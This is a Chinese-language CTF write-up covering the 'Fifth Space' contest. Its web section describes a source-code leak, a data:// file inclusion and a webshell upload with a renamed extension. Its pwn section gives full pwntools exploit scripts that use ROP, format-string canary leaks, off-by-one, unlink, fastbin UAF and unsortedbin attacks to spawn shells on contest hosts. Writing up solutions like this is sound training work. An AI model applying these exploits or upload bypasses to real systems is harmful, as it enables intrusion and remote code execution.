在第五空间比赛中总共做出10道pwn和3道web,官方没给出writeup,在此交流思路,请大佬勿喷。吐槽一下比赛环境,感受到被500支配的恐惧,理论题做了两次,浪费了很多时间;而且web题有题挂了,运维很久也没维护好环境,心疼运维人员。
这个题目应该是找到了一个非预期解
从github上下载了v2.6的源码,发现了log文件夹,在access.log里找到flag记录
F12找到一个php文件
这里有源码泄露 ,找到.xxx.swp之后,使用vim还原源码
尝试使用data协议
http://111.33.164.6:10003/151912db206ee052.php?fname=data://text/plain;base64,d2hvYW1p
进到文件上传部分
经过测试,发现.html文件可以上传。于是上传一个写有免杀马的图片,使用burp将.jpg文件改为.html后缀。
上传成功之后记录下上传的文件目录
回到上传页面,可以使用文件包含漏洞,并尝试进行命令执行
参数pass=phpinfo();成功执行
接下来就可以直接列出该目录下的文件了
http://111.33.164.6:10003/2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=upload/d95088ce1ecdf6&hash256=e93aa07e284dfa0aa741aae1a208e924&pass=print_r(scandir(%27./flagishere%27));
找到对应的文件,附上队伍token,获取flag成功
?id=1′
访问相应页面并附上队伍token,获取flag成功
flag{860a99c6bb9d3aba8ed13b77a39f179e}
首先是一个read函数栈溢出,覆盖srand函数的种子seed为0,从而进行绕过随机以执行第二个漏洞点,printf的格式化字符串。分析过程得知Canary在函数偏移为19时可以爆出来,同时偏移17为<__libc_start_main+240>,可得出Libc的地址。
拿到Canary和泄露出Libc地址之后使用LibcSearcher查找Libc版本,同时使用ROPgadget查找ROP,对栈溢出进行直接对EIP进行System函数覆盖。
#coding=utf-8
from pwn import *
from LibcSearcher import *
from ctypes import *
import sys
context.log_level = 'debug'
debug = 1
if debug:
p = process('./bf')
else:
p = remote('111.33.164.4',50001)
#Step1 : Overwrite seed
p.sendlineafter("Are you sure want to play the game?",str(1))
payload = '%17$p%19$p'
payload = payload.ljust(24,'\x00')
payload += p64(0x0)
p.sendlineafter("Input your name :",payload)
#Step2 : pass srand and leak Canary
libc = cdll.LoadLibrary("libc.so.6")
res = []
def dice_game():
for i in range(10):
rand = libc.rand()
res.append(rand % 99999 + 1)
print res
dice_game()
for point in res:
p.sendlineafter("Now guess:", str(point))
p.recvuntil('\n')
recv = p.recv().split('0x')
print recv
canary = int(recv[1],16)
libc_start_main_ret= int(recv[2],16)
print 'canary---->' + hex(canary)
print 'libc_start_main_ret---->' + hex(libc_start_main_ret)
#Step3 : exploit
Libc = LibcSearcher("__libc_start_main_ret", libc_start_main_ret)
print Libc
Libc_base = libc_start_main_ret - Libc.dump("__libc_start_main_ret")
print hex(Libc_base)
system = Libc_base + Libc.dump("system")
binsh = Libc_base + Libc.dump("str_bin_sh")
pop_rdi_ret = Libc_base + 0x0021102
payload = 'a'*0x34 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) +p64(binsh) + p64(system)
p.send(payload)
p.interactive()
首先浮点数绕过,对输入划分为三个浮点数,对最后一个浮点数进行计算并判断最后三位是否位’AAA‘,按道理对A*B=C ,已知 C和B 求A,直接用C语言进行反求A,就OK了。求解c脚本如下:
#include "stdio.h"
#include "stdlib.h"
int main()
{
int x=0x41414141;
float *y = (float *)&x;
*y = *y / 0.248713;
unsigned char *z = (unsigned char*)&x;
for(int i = 0; i<4 ; i++)
printf("%x ",z[i]);
}
然后在edit函数有off by one 漏洞
给的时libc-2.27.so,会用到 TCACHE,但最后发现题目给的libc和服务器libc不一样。。
from PwnContext import *
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './mybooks'
#elf=ELF('./mybook')
ctx.remote = ('111.33.164.4', 50002)
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('./thelibc.so')
def add(name,sz,c):
sla('>', 1)
sa('name', name)
sla('size', sz)
sa('description: ',c)
def delete(idx):
sla('>', 2)
sla('id', idx)
def edit(id, name,c):#off by one
sla('>', 3)
sla('id', id)
sa('name: ', name)
sa('description: ', c)
def show(id):
sla('>', 4)
sla('id', id)
rs('remote')
sl('\x01ABB'*3)
add('0\n',0xf8,'0\n')
add('1\n',0xf8,'1\n')
add('2\n',0xf8,'2\n')
add('/bin/sh\n',0xf8,'3\n')
#leak libc
delete(0)
add('\n',0xf8,'\n')
show(0)
ru('Description: ')
leak = uu64(r(6))
print hex(leak)
libc_base = leak-0x3a560a
#libc_base = leak-0x3c4b0a#local
print hex(libc_base)
#chunk overlap
mh = libc.sym['__malloc_hook']+libc_base
fh=libc.sym['__free_hook']+libc_base
sys = libc.sym['system']+libc_base
print hex(sys)
delete(0)
edit(2,'a'*0x10+p64(0x2a0),'2\n')#off by one
delete(2)
add('0\n',0x120,'0'*0xf0+p64(0)+p64(0x31)+p64(1)+p64(fh)+p64(fh)+p64(0x120)+'\n')
edit(1,p64(sys)+'\n',p64(sys)+'\n')
delete(3)
irt()
简单栈溢出,直接ROP利用puts输出libc,然后往某个固定地址写入/bin/sh,再返回执行system(第一次用这种方法)。也可以在libc中搜索/bin/sh的偏移。
from PwnContext import *
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn6'
ctx.remote = ('111.33.164.4',50006)
elf = ELF('./pwn6')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('./thelibc.so')
rs('remote')
#rs()
#leak libc
p_rdi = 0x414fc3
p_rsi_rdx = 0x414fc1
sl(-1)
ru('GOOD?')
pay = 'a'*0x18 + p64(p_rdi) +p64(elf.got['puts']) + p64(elf.plt['puts'])+p64(0x400793)#ret main logic
sl(pay)
leak = uu64(ru('\n'))
print hex(leak)
print hex(libc.sym['puts'])
sys = puts-0x2a500#puts - system
#write /bin/sh
addr = 0x621ff0
sl(-1)
pay = 'a'*0x18
pay += p64(p_rdi)+p64(0)+p64(p_rsi_rdx)+p64(addr)+p64(8)+p64(elf.plt['read'])#write /bin/sh at addr
pay += p64(p_rdi)+p64(addr)+p64(sys)#system(/bin/sh)
sl(pay)
sl('/bin/sh\x00')
irt()
edit函数堆溢出,可以任意指定写入的字节长度,没有检查是否小于或等于原来的大小。
首先泄露libc,然后因为程序没开PIE,可以知道note_list的地址,用unlink技术往note_list中写free_hook的地址,在eidt写入system地址。
from PwnContext import *
if __name__ == '__main__':
#context.terminal = ['splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn7'
libc = ELF('./thelibc.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
ctx.remote = ('111.33.164.4', 50007)
def add(sz):
sla('>>', 1)
sla('size:', sz)
def show(idx):
sla('>>', 2)
sla('id:', idx)
def edit(idx, sz,c):
sla('>>', 3)
sla('id:', idx)
sla('size:', sz)
sa('content:', c)
def delete(idx):
sla('>>', 4)
sla('id', idx)
note_list=0x6020e0
rs('remote')
#leak libc
add(0x80)#0
add(0x10)#1
add(0x80)#2
add(0x80)#3
add(0x10)#4
delete(0)
add(0x80)
show(0)
ru('Your data:')
leak = uu64(ru('\n'))
libc_base = leak - 0x3a5678#remote
#libc_base = leak - 0x3c4b78#local
print hex(libc_base)
#unlink
pay = p64(0)+p64(0x81)+p64(note_list+0x10-0x18)+p64(note_list+0x10-0x10)+'\x00'*0x60
pay += p64(0x80) + p64(0x90)
edit(2, 0x200, pay+'\n')
delete(3)
fh = libc.sym['__free_hook']+libc_base
sys = libc.sym['system']+libc_base
#dbg()
edit(2, 0x80, '/bin/sh\x00' + p64(fh)+'\n')
edit(0, 0x80, p64(sys)+'\n')
delete(2)
irt()
栈溢出
利用puts函数泄露canary
这个程序是静态编译的,所以用到的函数程序中都能找到,程序中没有的不能动态加载了。因为没找到system函数,所以考虑执行shellcode。
ROP:mprotect,写shellcode进去就行了,但mprotect的地址好像有所限制。参考资料:
https://stackoverflow.com/questions/31068263/solving-mprotect-syscall-failure
>
from PwnContext import *
from base64 import *
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn9'
elf=ELF('./pwn9')
ctx.remote = ('111.33.164.4', 50009)
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./thelibc.so')
ctx.breakpoints=[0x4011F6]
rs('remote')
def ms(ss):
c = b64encode(ss)
s(c)
def msl(ss):
c = b64encode(ss)
sl(c)
p_rdi=0x401e36
p_rsi=0x401f57
p_rdx=0x4433e6
puts=0x4106A0
mpro=0x440AC0
read=0x43FF70
addr=0x6ca000
pay = 'a'*9
msl(pay)
ru('a'*9)
canary = uu64(r(7))<<8
print hex(canary)
dbg()
msl('yes')
shellcode = asm(shellcraft.sh())
pay = 'a'*8 + p64(canary)+'b'*8
pay+= p64(p_rdi)+p64(addr)+p64(p_rsi)+p64(0x1000)+p64(p_rdx)+p64(7)+p64(mpro)#mprotect
pay+= p64(p_rdi)+p64(0)+p64(p_rsi)+p64(addr)+p64(p_rdx)+p64(0x100)+p64(read)#read
pay+= p64(addr)
msl(pay)
sl('no')
sl(shellcode)
irt()
使用IDA发现edit功能存在UAF漏洞,在一个全局变量中缓存了一个上一次编辑的指针的地址,在第二次编辑时没有判断该指针对应的chunk是否已经被free进入fastbin,因此可以直接利用fastbin attack修改chunk的fd,将其指向事先伪造的chunk的头部。再次malloc时,就会取出我们伪造的chunk,这样可以形成堆重叠,控制其他chunk中的指针,进而可以实现任意读和任意写。
泄露了a64l的函数地址后,可以部分libc地址,调试时可以发现system函数和a64l函数的地址仅仅是低2个字节不同,高位字节的地址都是相同的,因此完全可以利用泄露的部分libc地址得到system的实际地址。接着就是改写a64l的got为system,最后getshell。
from pwn import *
context.os='Linux'
context.arch='amd64'
debug = 0
#context.log_level='debug'
if debug:
context.log_level='debug'
cn=process('./pwn10')
elf=ELF('./pwn10')
else:
cn = remote('111.33.164.4',50010)
elf=ELF('./pwn10')
s = lambda data :cn.send(str(data))
sa = lambda delim,data :cn.sendafter(str(delim), str(data))
st = lambda delim,data :cn.sendthen(str(delim), str(data))
sl = lambda data :cn.sendline(str(data))
sla = lambda delim,data :cn.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :cn.recv(numb)
rl = lambda :cn.recvline()
ru = lambda delims :cn.recvuntil(delims)
irt = lambda :cn.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def add(size,content):
ru("Give me your choice : ")
sl(1)
ru("Give me your size : ")
sl(size)
ru("Now give me your content")
s(content)
def show(ind):
ru("Give me your choice : ")
sl(2)
ru("Give me your index : ")
sl(ind)
def edit(ind,size,content,flag):
ru("Give me your choice : ")
sl(3)
if not flag:
ru("Give me your index : ")
sl(ind)
ru("Give me your size : ")
sl(size)
ru("Now give me your content")
s(content)
def dele(ind):
ru("Give me your choice : ")
sl(4)
ru("Give me your index : ")
sl(ind)
add(4,'a'*4)#0
add(0x20,'snow'*4+p64(0)+p64(0x30))#1
add(4,'a'*4)#2
edit(0,4,'b'*4,0)
dele(0)
#UAF,overlap
edit(0,1,'\xb0',1)
add(0x20-8,p64(0)+p64(0x31)+p64(elf.got['a64l']))
show(2)
ru('`')
addr=ord(r(1))
#print hex(addr)
# a6l4 got
sys=addr&0xf0
sys=(sys<<8)|0x490
edit(2,2,p64(sys)[:2],0)
ru("Give me your choice : ")
s('/bin/sh\x00')
irt()
栈溢出,直接上ROP
ROP:第一次泄露libc,然后system(/bin/sh)
from PwnContext import *
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn11'
elf=ELF('./pwn11')
ctx.remote = ('111.33.164.4', 50011)
libc=ELF('./thelibc.so')
ctx.breakpoints=[0x4011FF]
ctx.symbols = {
}
rs('remote')
#rs()
p_rdi=0x4012ab
p_rsi=0x4012a9
s('a'*10)
pay='a'*0x20+'b'*8
#dbg()
pay+=p64(p_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401080)
s(pay)
puts = libc.sym['puts']
system = libc.sym['system']
binsh = libc.search('/bin/sh').next()
ru('fail!')
r(1)
lb = uu64(r(6))
print hex(lb)
lb = lb-puts
print hex(lb)
binsh = binsh+lb
sys = system+lb
pay = 'a'*(0x28+2+8)
pay+= p64(p_rdi)+p64(binsh)+p64(sys)
s(pay)
irt()
程序在init开始就调用mallopt(1, 0)禁用fastbin,并且在bss段布置了canary和px全局变量,应该是用来检查溢出的。
在edit函数存在off by one 漏洞,show函数和delete函数均存在索引上溢。
利用思路:通过show函数上溢泄露libc和canary,然后在is_root前16字节布置fake_size利用delete上溢将is_root字段改写不为0,接着利用off by one漏洞形成堆重叠,最后通过unsortedbin attack分配到bss段的user_chunk,实现任意写。
这题是赛后复现的,没有打远程。
from PwnContext import *
if __name__ == '__main__':
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
#context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn12'
elf=ELF('./pwn12')
ctx.remote_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
ctx.debug_remote_libc = False # True for debugging remote libc, false for local.
ctx.symbols = {'chunk':0x6022e0,'name':0x602080,'is_root':0x6020a0,'info':0x6020c0}
ctx.breakpoints = [0x400FBF,0x400f0d]
rs()
#libc = ctx.libc # ELF object of the corresponding libc.
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(sz):
sl(1)
sla('Size?',sz)
def edit(idx,c):
sl(2)
sla('Index?',idx)
sa(':',c)
def show(idx):
sl(3)
sla('Index?',idx)
def delete(idx):
sl(4)
sla('Index?',idx)
def index(addr):
return (addr-0x6022e0)/16
chunk = 0x6022e0
name = 0x602080
is_root = 0x6020a0
info = 0x6020c0
canary_addr = 0x6022c0
#leak libc
#name
pay = p64(is_root)+p64(0)
pay+= p64(canary_addr+1)+p64(0x51)
sa('name?',pay)
#info
pay = p64(elf.got['puts'])+p64(0)
pay+= p64(info)+p64(0)
pay+= p64(0x50)+p64(0x21) + 'a'*0x18 + p64(0x21)
pay = pay.ljust(0x1e0,'\0')
pay+= p64(0) + p64(0x4f1)#fake size
pay+= p64(0) + p64(info+8)
sa('info?',pay)
#change is_root
show(index(info))
print r()
leak = uu64(r(6))
libc.address= leak-libc.sym['puts']
success('libc_base={}'.format(hex(libc.address)))
delete(index(name))
add(0x40)#clear
#leak canary
ctx.clean()
show(index(name+0x10))
r()
canary = uu64(r(7))<<8
success('canary={}'.format(hex(canary)))
#alloc to bss
add(0xf8)#1
add(0xf8)#2
add(0xf8)#3
add(0xf8)#4
delete(1)
edit(2,'a'*0xf0+p64(0x200))#off by one
delete(3)
add(0xf8)#1
edit(2,p64(leak)+p64(canary_addr-0x20))#unsortedbin attack
add(0x4e0)#3
fh = libc.sym['__free_hook']
sys = libc.sym['system']
edit(3,p64(canary)*6+p64(fh))
edit(0,p64(sys))
edit(4,'/bin/sh\x00')
delete(4)
irt()
栈溢出
如果用之前的思维,覆盖rbp泄露程序基址,会因为leave;ret指令报错。因此要换种思路,因为程序已经给了call system的函数,直接就覆盖返回地址的低两个字节爆破。
from PwnContext import *
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn13'
elf=ELF('./pwn13')
ctx.remote = ('111.33.164.6', 50013)
while True:
try:
rs('remote')
sl(1)
s('a'*0x28+'\x54\x0a')
sl('ls')
irt()
except:
continue
irt()
跟pwn15一样,就改一些地址和参数。
from PwnContext import *
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn14'
elf=ELF('./pwn14')
ctx.remote = ('111.33.164.6', 50014)
ctx.breakpoints=[0xD94]
ctx.symbols = {
'lst':0x4040A0
}
rs('remote')
def new(sz,c):
sla('Your choice : ',1)
sla('Size of note : ',sz)
sa('Content of note:',c)
def edit(idx,sz,c):#overflow
sla('Your choice : ',2)
sla('Index :',idx)
sla('Size of note : ',sz)
sa('Content of note : ',c)
def delete(idx):
sla('Your choice : ',3)
sla('Index :',idx)
fake = 0x40408d
key=0x4040A0
new(0x60,'0')
new(0x60,'1')
new(0x60,'2')
delete(1)
#dbg()
edit(0,0x80,'a'*0x68+p64(0x71)+p64(fake))
new(0x60,'1')
new(0x60,'a'*(0x3)+p64(key))
#dbg()
edit(0,8,p64(2020))
sl('70')
#dbg()
irt()
edit 堆溢出。题目给了个后门,需要修改全局变量。利用堆溢出覆盖fd到bss,实现任意写。
from PwnContext import *
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn15'
elf=ELF('./pwn15')
ctx.remote = ('111.33.164.6', 50015)
rs('remote')
def new(sz,c):
sla('our choice:',1)
sla('Length of note:',sz)
sa('Content of note:',c)
def edit(idx,sz,c):#overflow
sla('our choice:',2)
sla('Index:',idx)
sla('Length of note:',sz)
sa('Content of note:',c)
def delete(idx):
sla('our choice:',3)
sla('Index:',idx)
fake = 0x6020ad
key=0x602088
new(0x60,'0')
new(0x60,'1')
new(0x60,'2')
delete(1)
edit(0,0x80,'a'*0x68+p64(0x71)+p64(fake))
new(0x60,'1')
new(0x60,'a'*(0x3)+p64(key))
#dbg()
edit(0,8,p64(2020))
sl('2019')
#dbg()
irt()
总的来说这次比赛的题目比较简单,题目的名字很有诗意,比较考验体力,需要团队的密切配合提高解题效率。如果有更好的思路或方法,欢迎交流!
*本文作者:Snowleopardbin,转载请注明来自FreeBuf.COM